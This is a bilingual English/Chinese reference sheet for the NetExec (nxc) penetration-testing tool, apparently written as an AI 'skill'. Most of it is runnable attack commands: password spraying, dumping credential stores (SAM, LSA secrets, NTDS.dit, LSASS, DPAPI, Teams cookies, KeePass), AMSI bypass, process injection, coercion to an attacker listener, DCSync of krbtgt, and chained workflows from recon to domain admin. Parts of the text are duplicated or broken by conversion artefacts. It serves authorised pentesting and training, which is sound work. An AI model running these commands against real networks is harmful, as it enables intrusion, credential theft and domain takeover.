NetExec (nxc) — Reference Skill

NetExec (nxc) — 参考 Skill

Global Syntax & Options

全局语法与选项

nxc <protocol> <target(s)> [auth options] [action options] [global options]

nxc <protocol> <target(s)> [auth options] [action options] [global options]

Available Protocols

可用协议

smb

ssh

ldap

ftp

wmi

winrm

rdp

vnc

mssql

nfs

smb

ssh

ldap

ftp

wmi

winrm

rdp

vnc

mssql

nfs

Target Formats

目标格式

bash

nxc smb 192.168.1.0/24          # CIDR
nxc smb 192.168.1.1 192.168.1.2 # Multiple IPs
nxc smb 192.168.1.1-28          # IP range
nxc smb dc01.corp.local         # Hostname
nxc smb ~/targets.txt           # File

bash

nxc smb 192.168.1.0/24          # CIDR
nxc smb 192.168.1.1 192.168.1.2 # Multiple IPs
nxc smb 192.168.1.1-28          # IP range
nxc smb dc01.corp.local         # Hostname
nxc smb ~/targets.txt           # File

Global Flags

全局 Flags

Flag	Description
`-t THREADS`	Concurrent threads (default: 100)
`--timeout TIMEOUT`	Per-thread timeout in seconds
`--jitter INTERVAL`	Random delay between connections (e.g. `3` , `2-5` , `4-4` )
`--no-progress`	Suppress progress bar
`--verbose`	Verbose output
`--debug`	Debug-level output

Flag	说明
`-t THREADS`	并发线程数（默认值：100）
`--timeout TIMEOUT`	每个线程的超时时间（秒）
`--jitter INTERVAL`	连接之间的随机延迟（例如 `3` 、 `2-5` 、 `4-4` ）
`--no-progress`	禁用进度条
`--verbose`	详细输出
`--debug`	调试级别输出

Authentication

身份验证

Core Auth Flags

核心认证 Flags

bash

-u USERNAME          # Single username
-u user1 user2       # Multiple usernames
-u ~/users.txt       # Username file

-p PASSWORD          # Plaintext password
-p 'P@ss!'           # Always quote special chars
-p='-P@ss'           # Use = for passwords starting with -

-H 'NTHASH'          # NT hash only
-H 'LM:NT'           # Full NTLM hash
-H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'

-id <cred_id>        # Use credential from nxcdb

--local-auth         # Authenticate as local user (not domain)

bash

-u USERNAME          # Single username
-u user1 user2       # Multiple usernames
-u ~/users.txt       # Username file

-p PASSWORD          # Plaintext password
-p 'P@ss!'           # Always quote special chars
-p='-P@ss'           # Use = for passwords starting with -

-H 'NTHASH'          # NT hash only
-H 'LM:NT'           # Full NTLM hash
-H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'

--id <cred_id>        # Use credential from nxcdb

--local-auth         # Authenticate as local user (not domain)

Domain Auth (SMB example)

域认证（SMB 示例）

bash

nxc smb 192.168.1.0/24 -u Administrator -p 'Password123'
nxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'

bash

nxc smb 192.168.1.0/24 -u Administrator -p 'Password123'
nxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'

Local Auth

本地认证

bash

nxc smb 192.168.1.0/24 -u localadmin -p 'Password123' --local-auth

bash

nxc smb 192.168.1.0/24 -u localadmin -p 'Password123' --local-auth

Kerberos Auth

Kerberos 认证

bash

undefined

bash

undefined

Auto-handle TGT using password

nxc smb dc01.corp.local -u user -p pass -k

Use existing ccache ticket

export KRB5CCNAME=/path/to/ticket.ccache nxc smb dc01.corp.local --use-kcache

Specify KDC explicitly

nxc ldap dc01.corp.local -u user -p pass -k --kdcHost dc01.corp.local

undefined

nxc ldap dc01.corp.local -u user -p pass -k --kdcHost dc01.corp.local

undefined

Multi-Domain Environments

多域环境

bash

undefined

bash

undefined

users.txt format:

DOMAIN1\user1

DOMAIN2\user2

nxc smb <target> -u users.txt -p 'Password123'

undefined

nxc smb <target> -u users.txt -p 'Password123'

undefined

Output Color Codes

输出颜色代码

RED — Authentication failed
GREEN — Authentication succeeded
MAGENTA — Password valid but account is not admin
(Pwn3d!)
— Admin access / code execution available

RED — 身份验证失败
GREEN — 身份验证成功
MAGENTA — 密码有效，但账户不是管理员
(Pwn3d!)
— 可以使用管理员访问权限或执行代码

Pwn3d! Meaning by Protocol

Pwn3d! 的协议含义

Protocol	Pwn3d! Meaning
SMB	Local/domain admin access
WMI	Local admin
WinRM	Code execution
RDP	Code execution
VNC	Code execution
LDAP	Path to Domain Admin
SSH	Root access
FTP	No check

协议	Pwn3d! 含义
SMB	本地/域管理员访问权限
WMI	本地管理员
WinRM	代码执行
RDP	代码执行
VNC	代码执行
LDAP	通往 Domain Admin 的路径
SSH	root 访问权限
FTP	不检查

Password Spraying & Brute Force

密码喷洒与暴力破解

bash

undefined

bash

undefined

Spray one password across many users

nxc smb <target> -u ~/users.txt -p 'Summer2024!' --no-bruteforce --continue-on-success

Brute force (user × pass combinations)

nxc smb <target> -u ~/users.txt -p ~/passwords.txt

Hash spraying

nxc smb <target> -u ~/users.txt -H ~/hashes.txt --no-bruteforce

Throttle to avoid lockouts

nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 3 nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 2-5

IMPORTANT: --no-bruteforce pairs user[0]:pass[0], user[1]:pass[1], etc.

Without it: every user × every password (full bruteforce)

Keep going after first valid credential found

nxc smb <target> -u ~/users.txt -p 'Password' --continue-on-success


> ⚠️ **OpSec**: Jitter works per-host. Spraying against multiple hosts
> multiplies authentication attempts. Monitor domain lockout policy before
> spraying (use `--pass-pol` first).

---

nxc smb <target> -u ~/users.txt -p 'Password' --continue-on-success


> ⚠️ **OpSec**：Jitter 按主机生效。对多台主机进行喷洒会成倍增加身份验证尝试次数。喷洒前请监控域锁定策略（先使用 `--pass-pol`）。

---

SMB Protocol

SMB 协议

Network Discovery

网络发现

bash

undefined

bash

undefined

Map live hosts — get OS, hostname, domain, signing, SMBv1

nxc smb 192.168.1.0/24

Expected output:

SMB 192.168.1.101 445 DC2016A [*] Windows Server 2016 x64 (name:DC2016A) (domain:CORP) (signing:True) (SMBv1:False)

undefined

undefined

Enumeration

枚举

bash

undefined

bash

undefined

Shares and access

nxc smb <ip> -u user -p pass --shares

Null session share enum

nxc smb <ip> -u '' -p '' --shares

Guest logon check

nxc smb <ip> -u 'a' -p '' nxc smb <ip> -u 'a' -p '' --shares

Domain users

nxc smb <ip> -u user -p pass --users nxc smb <ip> -u user -p pass --users-export output.txt

Enumerate users by bruteforcing RIDs (no domain creds needed)

nxc smb <ip> -u '' -p '' --rid-brute nxc smb <ip> -u '' -p '' --rid-brute 10000 # Set max RID

Password policy (check before spraying!)

nxc smb <ip> -u user -p pass --pass-pol

Logged-on users (requires admin)

nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users targetuser

Active Windows sessions (registry-based, no admin needed)

nxc smb <target>/24 -u user -p pass --reg-sessions nxc smb <target>/24 -u user -p pass --reg-sessions 'admin_user' nxc smb <target>/24 -u user -p pass --reg-sessions './users.txt'

Active sessions via QWINSTA (admin required)

nxc smb 192.168.1.0/24 -u user -p pass --qwinsta nxc smb 192.168.1.0/24 -u user -p pass --qwinsta targetuser

Local groups

nxc smb 192.168.1.0/24 -u user -p pass --local-group

Disks

nxc smb 192.168.1.0/24 -u user -p pass --disks

Network interfaces (admin required)

nxc smb <ip> -u user -p pass --interfaces

Null sessions

nxc smb <ip> -u '' -p ''

SMB signing not required (relay attack candidates)

nxc smb 192.168.1.0/24 --gen-relay-list relay_targets.txt

Check for NTLMv1 (via remote registry, admin required)

nxc smb <ip> -u user -p pass -M ntlmv1

Enumerate AV/EDR (no admin needed)

nxc smb <ip> -u user -p pass -M enum_av

Enumerate BitLocker status

nxc smb <ip> -u user -p pass -M bitlocker

Enumerate remote processes (admin required)

nxc smb <ip> -u user -p pass --remote-processes

Check for lockscreen backdoors (admin required)

nxc smb <ip> -u Administrator -p 'PASSWORD' -M lockscreendoors

undefined

nxc smb <ip> -u Administrator -p 'PASSWORD' -M lockscreendoors

undefined

Spidering Shares

共享目录 Spidering

bash

undefined

bash

undefined

Spider specific share for file pattern

nxc smb <ip> -u user -p pass --spider C$ --pattern txt

nxc smb <ip> -u user -p pass --spider C\$ --pattern txt

Spider all readable shares (list only)

nxc smb <ip> -u user -p pass -M spider_plus

Spider and download all files

nxc smb <ip> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True

Filter by content/regex

nxc smb <ip> -u user -p pass -M spider_plus -o PATTERN='password'

undefined

nxc smb <ip> -u user -p pass -M spider_plus -o PATTERN='password'

undefined

File Operations

文件操作

bash

undefined

bash

undefined

Get a file

nxc smb <ip> -u user -p pass --get-file /remote/path/file.txt /local/path/file.txt

Put a file

nxc smb <ip> -u user -p pass --put-file /local/file.txt /remote/path/file.txt

undefined

nxc smb <ip> -u user -p pass --put-file /local/file.txt /remote/path/file.txt

undefined

Command Execution

命令执行

Requires admin/Pwn3d! access.

bash

undefined

需要管理员/Pwn3d! 权限。

bash

undefined

Execute cmd command (-x)

nxc smb <ip> -u Administrator -p 'Pass' -x whoami

Execute PowerShell command (-X)

nxc smb <ip> -u Administrator -p 'Pass' -X '$PSVersionTable'

Force specific execution method

nxc smb <ip> -u user -p pass -x whoami --exec-method wmiexec nxc smb <ip> -u user -p pass -x whoami --exec-method atexec nxc smb <ip> -u user -p pass -x whoami --exec-method smbexec

Bypass AMSI for PowerShell

nxc smb <ip> -u user -p pass -X 'Get-Process' --amsi-bypass /path/to/payload

Process Injection — run as another user's process (SYSTEM needed)

nxc smb <ip> -u user -p pass -M pi -o PID=<target_pid> EXEC=whoami


**Execution method order (automatic fallback):** wmiexec → atexec → smbexec

nxc smb <ip> -u user -p pass -M pi -o PID=<target_pid> EXEC=whoami


**自动回退的执行方法顺序：** wmiexec → atexec → smbexec

Credential Dumping via SMB

通过 SMB 进行凭据转储

All methods below require local admin unless noted.

bash

undefined

除非另有说明，以下所有方法均需要本地管理员权限。

bash

undefined

SAM hashes (local accounts)

nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam secdump # fallback method

LSA secrets (requires Domain Admin or Local Admin on DC)

nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa secdump

NTDS.dit — full AD hash dump (requires Domain Admin)

nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --enabled # active accounts only nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds vss # VSS method nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user Administrator nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user NETBIOS/Administrator # multi-domain

NTDS via ntdsutil module

nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntdsutil

NTDS via raw disk access

nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntds-dump-raw -o TARGET=NTDS

LSASS dump

nxc smb <ip> -u Administrator -p 'Pass' -M lsassy nxc smb <ip> -u Administrator -p 'Pass' -M nanodump nxc smb <ip> -u Administrator -p 'Pass' -M mimikatz # deprecated

DPAPI — browser creds, Credential Manager

nxc smb <ip> -u user -p pass --dpapi nxc smb <ip> -u user -p pass --dpapi cookies # include browser cookies nxc smb <ip> -u user -p pass --dpapi nosystem # skip system creds (stealth) nxc smb <ip> -u user -p pass --local-auth --dpapi nosystem

Azure/M365 token cache (WAM)

nxc smb <ip> -u user -p pass -M wam nxc smb <ip> -u user -p pass -M wam --mkfile masterkeys.txt nxc smb <ip> -u user -p pass -M wam --pvk domain_backup_key.pvk

BackupOperator privilege abuse (no local admin needed if SeBackupPrivilege)

nxc smb <ip> -u user -p pass -M backup_operator

SCCM credentials

nxc smb <ip> -u user -p pass --sccm nxc smb <ip> -u user -p pass --sccm disk nxc smb <ip> -u user -p pass --sccm wmi

Credential manager applications

nxc smb <ip> -u user -p pass -M keepass_discover nxc smb <ip> -u user -p pass -M keepass_trigger -o KEEPASS_CONFIG_PATH="/path/from/discovery" nxc smb <ip> -u user -p pass -M veeam nxc smb <ip> -u user -p pass -M wifi nxc smb <ip> -u user -p pass -M winscp nxc smb <ip> -u user -p pass -M vnc nxc smb <ip> -u user -p pass -M mremoteng nxc smb <ip> -u user -p pass -M rdcman nxc smb <ip> -u user -p pass -M putty

Notepad / Notepad++ unsaved documents

nxc smb <ip> -u user -p pass -M notepad nxc smb <ip> -u user -p pass -M notepad++

undefined

nxc smb <ip> -u user -p pass -M notepad nxc smb <ip> -u user -p pass -M notepad++

undefined

Vulnerability Scanning

漏洞扫描

bash

undefined

bash

undefined

ZeroLogon (CVE-2020-1472)

nxc smb <ip> -u '' -p '' -M zerologon

noPAC / Sam-The-Admin (needs creds)

nxc smb <ip> -u user -p pass -M nopac

PrintNightmare

nxc smb <ip> -u '' -p '' -M printnightmare

SMBGhost (CVE-2020-0796)

nxc smb <ip> -u '' -p '' -M smbghost

EternalBlue MS17-010

nxc smb <ip> -u '' -p '' -M ms17-010

NTLM Reflection (CVE-2025-33073) — needs creds

nxc smb <ip> -u user -p pass -M ntlm_reflection

Coercion vulns (PetitPotam, DFSCoerce, PrinterBug, MSEven, ShadowCoerce)

nxc smb <ip> -u '' -p '' -M coerce_plus nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP> nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP> ALWAYS=true nxc smb <ip> -u '' -p '' -M coerce_plus -o METHOD=PetitPotam # or pe, dfs, pr

Run multiple vuln checks at once

nxc smb <ip> -u '' -p '' -M zerologon -M printnightmare -M smbghost

undefined

nxc smb <ip> -u '' -p '' -M zerologon -M printnightmare -M smbghost

undefined

LAPS

bash

undefined

bash

undefined

Read LAPS password (if you have a user with ReadLAPSPassword rights)

nxc smb <ip> -u laps-reader -p pass --laps nxc smb <ip> -u laps-reader -p pass --laps customadminname # non-default admin name

undefined

nxc smb <ip> -u laps-reader -p pass --laps nxc smb <ip> -u laps-reader -p pass --laps customadminname # non-default admin name

undefined

Delegation Abuse

委派滥用

bash

undefined

bash

undefined

RBCD — impersonate any user if msDS-AllowedToActOnBehalfOfOtherIdentity is set

nxc smb <ip> -u jon.snow -p iknownothing --delegate Administrator

S4U2Self — with computer account nearly always gets local admin

nxc smb <ip> -u 'COMPUTER$' -H <nthash> --delegate Administrator --self

undefined

nxc smb <ip> -u 'COMPUTER$' -H <nthash> --delegate Administrator --self

undefined

Miscellaneous SMB

其他 SMB 功能

bash

undefined

bash

undefined

Impersonate logged-on users

nxc smb <ip> -u user -p pass -M schtask_as -o USER=targetuser CMD=whoami

Change user password

nxc smb <ip> -u user -p pass --change-password newpassword

Modify group membership

nxc smb <ip> -u admin -p pass --modify-group "Domain Admins" --add-user victimuser

Dump Teams cookies

nxc smb <ip> -u user -p pass -M teams_localdb

Steal Teams cookies

nxc smb <ip> -u user -p pass -M steal_teams_cookies

Check spooler / WebDAV running

nxc smb <ip> -u user -p pass -M spooler nxc smb <ip> -u user -p pass -M webdav

Defeating LAPS — read password if privileged

nxc smb <ip> -u privilegeduser -p pass --laps

---

nxc smb <ip> -u privilegeduser -p pass --laps

---

LDAP Protocol

LDAP 协议

Authentication / Basic

身份验证/基础操作

bash

nxc ldap <ip> -u user -p pass
nxc ldap <ip> -u user -p pass -k                        # Kerberos
nxc ldap <ip> -u user -p pass -k --kdcHost dc01.corp.local

bash

nxc ldap <ip> -u user -p pass
nxc ldap <ip> -u user -p pass -k                        # Kerberos
nxc ldap <ip> -u user -p pass -k --kdcHost dc01.corp.local

User Enumeration

用户枚举

bash

nxc ldap <ip> -u user -p pass --users
nxc ldap <ip> -u user -p pass --users-export output.txt
nxc ldap <ip> -u user -p pass --active-users            # Active (non-disabled) users only
nxc ldap <ip> -u user -p pass --get-user-descriptions   # Users with descriptions
nxc ldap <ip> -u user -p pass --admin-count            # Users with adminCount=1

bash

nxc ldap <ip> -u user -p pass --users
nxc ldap <ip> -u user -p pass --users-export output.txt
nxc ldap <ip> -u user -p pass --active-users            # Active (non-disabled) users only
nxc ldap <ip> -u user -p pass --get-user-descriptions   # Users with descriptions
nxc ldap <ip> -u user -p pass --admin-count            # Users with adminCount=1

Group Enumeration

组枚举

bash

nxc ldap <ip> -u user -p pass --groups
nxc ldap <ip> -u user -p pass --group-members "Domain Admins"

bash

nxc ldap <ip> -u user -p pass --groups
nxc ldap <ip> -u user -p pass --group-members "Domain Admins"

Domain Info

域信息

bash

nxc ldap <ip> -u user -p pass --dc-list          # Domain Controllers
nxc ldap <ip> -u user -p pass --find-domain-sid  # Domain SID
nxc ldap <ip> -u user -p pass --trusts           # Domain trusts
nxc ldap <ip> -u user -p pass --machine-account-quota  # MAQ value
nxc ldap <ip> -u user -p pass --get-scriptpath   # GPO script paths
nxc ldap <ip> -u user -p pass --extract-subnet   # Subnets from AD Sites
nxc ldap <ip> -u user -p pass --check-ldap-signing  # LDAP signing config

bash

nxc ldap <ip> -u user -p pass --dc-list          # Domain Controllers
nxc ldap <ip> -u user -p pass --find-domain-sid  # Domain SID
nxc ldap <ip> -u user -p pass --trusts           # Domain trusts
nxc ldap <ip> -u user -p pass --machine-account-quota  # MAQ value
nxc ldap <ip> -u user -p pass --get-scriptpath   # GPO script paths
nxc ldap <ip> -u user -p pass --extract-subnet   # Subnets from AD Sites
nxc ldap <ip> -u user -p pass --check-ldap-signing  # LDAP signing config

Kerberos Attacks

Kerberos 攻击

bash

undefined

bash

undefined

ASREPRoast — no auth needed if you have usernames

nxc ldap <ip> -u '' -p '' --asreproast output.txt # anonymous (if allowed) nxc ldap <ip> -u users.txt -p '' --asreproast output.txt nxc ldap <ip> -u user -p pass --asreproast output.txt # authenticated (finds all) nxc ldap <ip> -u user -p pass --asreproast output.txt --kdcHost dc01.corp.local

Crack with hashcat

hashcat -m18200 output.txt wordlist.txt

Kerberoasting

nxc ldap <ip> -u user -p pass --kerberoasting output.txt

Targeted Kerberoasting (requires WriteProperty on servicePrincipalName)

nxc ldap <ip> -u user -p pass --kerberoasting output.txt --targeted-kerberoast victim1 nxc ldap <ip> -u user -p pass --kerberoasting output.txt --targeted-kerberoast users.list

Kerberoasting via AS-REP roastable account

nxc ldap <ip> -u asrep_user -p '' --no-preauth-targets kerberoastable.list --kerberoasting out.txt

Crack with hashcat

hashcat -m13100 output.txt wordlist.txt

Pre2k Computer Account Abuse

nxc ldap <ip> -u user -p pass -M pre2k

Tickets saved to ~/.nxc/modules/pre2k/ccache/

undefined

undefined

Privilege Escalation & Delegation

权限提升与委派

bash

undefined

bash

undefined

Find all misconfigured delegations (Unconstrained, Constrained, RBCD)

nxc ldap <ip> -u user -p pass --find-delegation

Unconstrained delegation accounts

nxc ldap <ip> -u user -p pass --unconstrained-delegation

undefined

nxc ldap <ip> -u user -p pass --unconstrained-delegation

undefined

ACL / DACL Analysis

ACL / DACL 分析

bash

undefined

bash

undefined

Read all ACEs on a target object

nxc ldap dc.lab.local -k --kdcHost dc.lab.local -M daclread -o TARGET=Administrator ACTION=read

Check what rights a specific principal has on a target

nxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read PRINCIPAL=BlWasp

Find who has DCSync rights

nxc ldap dc.lab.local -k -M daclread -o TARGET_DN="DC=lab,DC=LOCAL" ACTION=read RIGHTS=DCSync

Check for DENY ACEs

nxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read ACE_TYPE=denied

Backup DACLs for multiple targets

nxc ldap dc.lab.local -k -M daclread -o TARGET=../../targets.txt ACTION=backup

undefined

nxc ldap dc.lab.local -k -M daclread -o TARGET=../../targets.txt ACTION=backup

undefined

Credential & Secret Extraction

凭据与机密信息提取

bash

undefined

bash

undefined

Dump gMSA passwords (requires right; uses LDAPS automatically)

nxc ldap <ip> -u user -p pass --gmsa

Extract gMSA secrets

nxc ldap <ip> -u user -p pass -M get-gmsa-creds

Read DACL rights on gMSA

nxc ldap <ip> -u user -p pass --gmsa-convert-id <ID>

undefined

nxc ldap <ip> -u user -p pass --gmsa-convert-id <ID>

undefined

BloodHound Data Collection

BloodHound 数据收集

bash

nxc ldap <ip> -u user -p pass --bloodhound --collection All
nxc ldap <ip> -u user -p pass --bloodhound --collection DCOnly
nxc ldap <ip> -u user -p pass --bloodhound --collection Session,LoggedOn

bash

nxc ldap <ip> -u user -p pass --bloodhound --collection All
nxc ldap <ip> -u user -p pass --bloodhound --collection DCOnly
nxc ldap <ip> -u user -p pass --bloodhound --collection Session,LoggedOn

SCCM / Entra ID / DNS

bash

undefined

bash

undefined

SCCM enumeration

nxc ldap <ip> -u user -p pass -M enum-sccm

Entra ID enumeration

nxc ldap <ip> -u user -p pass --entra-id

Unsecured DNS zones

nxc ldap <ip> -u user -p pass --enumerate-unsecure-dns-zones

Custom LDAP query

nxc ldap <ip> -u user -p pass --query "(objectClass=user)" "sAMAccountName"

undefined

nxc ldap <ip> -u user -p pass --query "(objectClass=user)" "sAMAccountName"

undefined

raisechild — Domain Trust Escalation

raisechild — 域信任权限提升

bash

nxc ldap <ip> -u user -p pass -M raisechild

bash

nxc ldap <ip> -u user -p pass -M raisechild

WinRM Protocol

WinRM 协议

bash

undefined

bash

undefined

Check auth

nxc winrm <ip> -u user -p pass

Execute command

nxc winrm <ip> -u user -p pass -X whoami

Credential dumping (admin required)

nxc winrm <ip> -u user -p pass --sam nxc winrm <ip> -u user -p pass --lsa nxc winrm <ip> -u user -p pass --dpapi # no admin needed — dumps current user creds


> **Pwn3d!** on WinRM = code execution is possible. Use `evil-winrm` for
> interactive shell: `evil-winrm -i <ip> -u user -p pass`

---

nxc winrm <ip> -u user -p pass --sam nxc winrm <ip> -u user -p pass --lsa nxc winrm <ip> -u user -p pass --dpapi # no admin needed — dumps current user creds


> **Pwn3d!** 在 WinRM 上表示可以执行代码。如需交互式 shell，请使用 `evil-winrm`：`evil-winrm -i <ip> -u user -p pass`

---

WMI Protocol

WMI 协议

bash

undefined

bash

undefined

Auth check

nxc wmi <ip> -u user -p pass

Password spray

nxc wmi <ip> -u ~/users.txt -p ~/passwords.txt

Execute command

nxc wmi <ip> -u user -p pass -x whoami

---

nxc wmi <ip> -u user -p pass -x whoami

---

MSSQL Protocol

MSSQL 协议

bash

undefined

bash

undefined

Auth check (domain)

nxc mssql <ip> -u user -p pass

Auth check (local SQL account)

nxc mssql <ip> -u sa -p 'P@ssw0rd' --local-auth

Run SQL query

nxc mssql <ip> -u admin -p pass --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'

OS command via xp_cmdshell (requires sysadmin)

nxc mssql <ip> -u sa -p pass -x whoami

Password spray

nxc mssql <ip> -u ~/users.txt -p ~/passwords.txt --no-bruteforce

Privilege escalation — check for impersonation rights

nxc mssql <ip> -u user -p pass -M mssql_priv

Escalate to sysadmin

nxc mssql <ip> -u user -p pass -M mssql_priv -o ACTION=privesc

Rollback (after engagement)

nxc mssql <ip> -u user -p pass -M mssql_priv -o ACTION=rollback

Enumerate users by RID brute

nxc mssql <ip> -u user -p pass --rid-brute

Linked servers

nxc mssql <ip> -u user -p pass --mssql-linked-servers

Upload/download files

nxc mssql <ip> -u user -p pass --put-file /local/file.txt C:\remote\file.txt nxc mssql <ip> -u user -p pass --get-file C:\remote\file.txt /local/file.txt

---

nxc mssql <ip> -u user -p pass --put-file /local/file.txt C:\remote\file.txt nxc mssql <ip> -u user -p pass --get-file C:\remote\file.txt /local/file.txt

---

SSH Protocol

SSH 协议

bash

undefined

bash

undefined

Auth check

nxc ssh <ip> -u user -p pass nxc ssh <ip> -u root -p pass # Pwn3d! if root

Password spray

nxc ssh 10.10.10.0/24 -u ~/users.txt -p ~/passwords.txt

Execute command

nxc ssh <ip> -u user -p pass -x whoami

File transfer

nxc ssh <ip> -u user -p pass --get-file /remote/file /local/file nxc ssh <ip> -u user -p pass --put-file /local/file /remote/path/file

---

nxc ssh <ip> -u user -p pass --get-file /remote/file /local/file nxc ssh <ip> -u user -p pass --put-file /local/file /remote/path/file

---

RDP Protocol

RDP 协议

bash

undefined

bash

undefined

Auth check / password spray

nxc rdp <ip> -u user -p pass nxc rdp 192.168.1.0/24 -u ~/users.txt -p ~/passwords.txt

Screenshot without NLA (unauthenticated)

nxc rdp <ip> -u '' -p '' --screenshot --screentime 5

Screenshot with auth

nxc rdp <ip> -u user -p pass --screenshot

Execute command

nxc rdp <ip> -u user -p pass -x whoami

---

nxc rdp <ip> -u user -p pass -x whoami

---

VNC Protocol

VNC 协议

bash

undefined

bash

undefined

Auth check

nxc vnc <ip> -u user -p pass

Screenshot

nxc vnc <ip> --screenshot

---

nxc vnc <ip> --screenshot

---

FTP Protocol

FTP 协议

bash

undefined

bash

undefined

Auth check / spray

nxc ftp <ip> -u user -p pass nxc ftp <ip> -u ~/users.txt -p ~/passwords.txt

List files

nxc ftp <ip> -u user -p pass --ls

Download / upload

nxc ftp <ip> -u user -p pass --get-file /remote/file.txt /local/file.txt nxc ftp <ip> -u user -p pass --put-file /local/file.txt /remote/file.txt

---

nxc ftp <ip> -u user -p pass --get-file /remote/file.txt /local/file.txt nxc ftp <ip> -u user -p pass --put-file /local/file.txt /remote/file.txt

---

NFS Protocol

NFS 协议

bash

undefined

bash

undefined

Enumerate exports

nxc nfs <ip> nxc nfs <ip> -u user -p pass --enum-shares

Download / upload

nxc nfs <ip> --get-file /remote/path/file.txt /local/file.txt nxc nfs <ip> --put-file /local/file.txt /remote/path/

chmod on remote file

nxc nfs <ip> -u user -p pass --chmod 777 /remote/file.txt

Escape to root filesystem

nxc nfs <ip> -u user -p pass --chroot

---

nxc nfs <ip> -u user -p pass --chroot

---

Modules System

模块系统

bash

undefined

bash

undefined

List all modules for a protocol

nxc smb -L nxc ldap -L nxc winrm -L

View module options

nxc smb -M lsassy --options

Run a module

nxc smb <ip> -u user -p pass -M lsassy

Run with options

nxc smb <ip> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True

Run MULTIPLE modules at once (v1.1+)

nxc smb <ip> -u user -p pass -M spooler -M iis -M lsassy -M winscp

---

nxc smb <ip> -u user -p pass -M spooler -M iis -M lsassy -M winscp

---

Logging & Audit Mode

日志与审计模式

bash

undefined

bash

undefined

Log all results to file

nxc smb <target> -u user -p pass --log results.txt

Audit mode — redact creds from console (configure in ~/.nxc/nxc.conf)

Set: audit_mode = * (or any character to use as redaction mask)

undefined

undefined

Pentest Scenario Example (Chained Workflows)

渗透测试场景示例（链式工作流）

Initial Recon (No Creds)

初始侦察（无凭据）

bash

undefined

bash

undefined

1. Discover live hosts and SMB info

nxc smb 192.168.1.0/24

2. Find hosts without SMB signing (relay targets)

nxc smb 192.168.1.0/24 --gen-relay-list relay.txt

3. Check null session / guest logon

nxc smb 192.168.1.0/24 -u '' -p '' nxc smb 192.168.1.0/24 -u 'a' -p ''

4. Enumerate shares with null session

nxc smb 192.168.1.0/24 -u '' -p '' --shares

5. ASREPRoast with username wordlist

nxc ldap <dc_ip> -u users.txt -p '' --asreproast asrep.txt hashcat -m18200 asrep.txt /usr/share/wordlists/rockyou.txt

undefined

nxc ldap <dc_ip> -u users.txt -p '' --asreproast asrep.txt hashcat -m18200 asrep.txt /usr/share/wordlists/rockyou.txt

undefined

With Domain Creds (Low Privilege)

使用域凭据（低权限）

bash

undefined

bash

undefined

1. Collect BloodHound data

nxc ldap <dc_ip> -u user -p pass --bloodhound --collection All

2. Get password policy

nxc smb <dc_ip> -u user -p pass --pass-pol

3. Enumerate all users

nxc ldap <dc_ip> -u user -p pass --users-export users.txt

4. Kerberoast

nxc ldap <dc_ip> -u user -p pass --kerberoasting kerberoast.txt hashcat -m13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

5. Find delegation misconfigs

nxc ldap <dc_ip> -u user -p pass --find-delegation

6. Check DACL rights on Domain Admins

nxc ldap <dc_ip> -k -M daclread -o TARGET="Domain Admins" ACTION=read

7. Scan for vulns

nxc smb 192.168.1.0/24 -u user -p pass -M zerologon -M nopac -M coerce_plus

undefined

nxc smb 192.168.1.0/24 -u user -p pass -M zerologon -M nopac -M coerce_plus

undefined

With Local Admin (Lateral Movement)

使用本地管理员（横向移动）

bash

undefined

bash

undefined

1. Dump SAM / LSA on target

nxc smb <ip> -u localadmin -p pass --local-auth --sam nxc smb <ip> -u localadmin -p pass --local-auth --lsa

2. Dump LSASS (get domain creds)

nxc smb <ip> -u localadmin -p pass --local-auth -M lsassy

3. Spray dumped hashes across subnet

nxc smb 192.168.1.0/24 -u Administrator -H <NTHASH> --local-auth

4. Spider shares for sensitive files

nxc smb 192.168.1.0/24 -u user -p pass -M spider_plus

undefined

nxc smb 192.168.1.0/24 -u user -p pass -M spider_plus

undefined

With Domain Admin

使用域管理员

bash

undefined

bash

undefined

1. Dump NTDS.dit

nxc smb <dc_ip> -u DomainAdmin -p 'Pass' --ntds

2. DCSync specific user

nxc smb <dc_ip> -u DomainAdmin -p 'Pass' -M mimikatz -o COMMAND='"lsadump::dcsync /domain:corp.local /user:krbtgt"'

3. Dump all DPAPI secrets at scale

nxc smb 192.168.1.0/24 -u DomainAdmin -p 'Pass' --dpapi nosystem

---

nxc smb 192.168.1.0/24 -u DomainAdmin -p 'Pass' --dpapi nosystem

---

Quick Reference: Flag Cheatsheet

快速参考：Flags 速查表

Flag	Purpose
`-u`	Username(s) or file
`-p`	Password(s) or file
`-H`	NTLM hash
`-k`	Kerberos auth
`--use-kcache`	Use KRB5CCNAME ticket
`--local-auth`	Local user (not domain)
`--id`	Use cred ID from DB
`-x`	Run CMD command
`-X`	Run PowerShell command
`--exec-method`	Force wmiexec/atexec/smbexec
`-M`	Module name (repeatable)
`-o`	Module options KEY=value
`-L`	List available modules
`--sam`	Dump SAM hashes
`--lsa`	Dump LSA secrets
`--ntds`	Dump NTDS.dit
